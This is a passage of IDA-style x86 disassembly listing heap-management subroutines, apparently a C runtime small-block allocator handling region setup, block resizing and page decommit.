call near ptr 2790000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DCFD8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 28A065Ah
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A9C0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A9B0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DCFE4
nop
call near ptr 27A0000h
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A9B0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A9B0, 0
jnz short loc_41E9F6
mov off_43A9B0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A9B4, 0
jnz short loc_41EA1B
mov off_43A9B4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A9B4
mov [esi+4], eax
mov off_43A9B4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
nop
call near ptr 28A051Fh
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A9B0
jz short loc_41EAB3
push esi
push 0
push dword_4DCFE4
nop
call near ptr 2790000h
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 28A051Fh
cmp off_43C9D0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C9D0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A9B0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DCFE4
nop
call near ptr 2790000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A9C0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A9B4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 28A051Fh
nop
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB9D4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A9B4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A9B0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB9D4
cmp dword_4DB9D4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C9D0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C9D0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C9D0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A9B0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 28A065Ah
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C9D0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C9D0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
